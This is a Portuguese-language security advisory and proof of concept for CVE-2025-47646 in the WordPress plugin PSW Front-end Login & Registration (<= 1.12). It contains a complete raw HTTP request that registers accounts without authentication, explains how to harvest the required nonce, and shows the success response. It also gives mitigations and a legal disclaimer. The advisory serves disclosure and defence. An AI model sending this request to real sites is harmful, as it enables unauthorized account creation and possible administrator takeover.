🔐 CVE-2025-47646 – PSW Front-end Login & Registration <= 1.12

📌 Informação do Plugin

• Plugin: PSW Front-end Login & Registration
• Versão Vulnerável: <= 1.12
• CVE: CVE-2025-47646
• Severidade: Alta (CVSS 9.8)
• Tipo de Vulnerabilidade: Autenticação Quebrada
• Privilégio Necessário: Não Autenticado
• Corrigido: ❌ Nenhuma correção oficial disponível
• Prioridade de Correção: 🔴 Alta
• Data de Publicação: 08 de Maio de 2025

⚠️ Resumo da Vulnerabilidade

Este plugin expõe uma falha crítica no seu mecanismo de registro.
Embora ofereça um formulário de registro front-end baseado em shortcode ([psw_registration]), ele não impõe restrições de função adequadas ou validação segura.

Atacantes podem explorar este mecanismo para criar contas sem autenticação — e se o default_role do site estiver mal configurado (por exemplo, definido como administrator), pode ocorrer uma escalada completa de privilégios.

🧪 Prova de Conceito (PoC)

✅ Endpoint alvo:

POST /wordpress/wp-admin/admin-ajax.php

📥 Requisição (ex.: via Burp Suite ou curl):

POST /wp-admin/admin-ajax.php HTTP/1.1

Host: {Host}

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 233

Origin: {Host}

Connection: keep-alive

Cookie:

Priority: u=0



first_name=nxploited&last_name=nxploited&new_user_name=nxpl3432oited&new_user_email=NxploitBot%40gmail.com&new_user_password=admin&new_user_password_confirmation=admin&action=register_user_front_end&psw_form=75a32ef38d

psw_form é o campo nonce necessário para que a requisição seja aceita.
Este nonce é gerado dinamicamente a partir do shortcode [psw_registration] no front-end.

✅ Resposta de Sucesso

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

<h4>Hello nxploited nxploited</h4>
<p>Thanks for creating an account on our website. Please check your email for activation link...</p>

🛠️ Onde está a falha?

• O plugin permite acesso AJAX não autenticado a register_user_front_end
• Ele respeita a configuração default_role do WordPress para atribuir funções de usuário
• Se estiver mal configurado (administrator), o atacante obtém acesso total
• Não há imposição ou validação de função codificada na lógica do plugin

💬 Explicação do Shortcode

Para expor o formulário de registro e gerar um nonce válido para psw_form, o seguinte shortcode é usado:

[psw_registration]

Isso renderiza um formulário de registro que inclui o campo nonce oculto necessário para que a chamada AJAX seja bem-sucedida.

🔐 Recomendação

• Restrinja o registro AJAX não autenticado
• Imponha atribuições de função no servidor
• Monitore e bloqueie default_role para um valor seguro (ex.: subscriber)
• Aplique correção virtual se nenhuma atualização estiver disponível

⚠️ Aviso Legal

Este relatório é apenas para fins educacionais e de teste de segurança autorizados.
A exploração desta vulnerabilidade sem permissão pode violar limites legais e éticos.

NXploited (Khaled_Alenazi)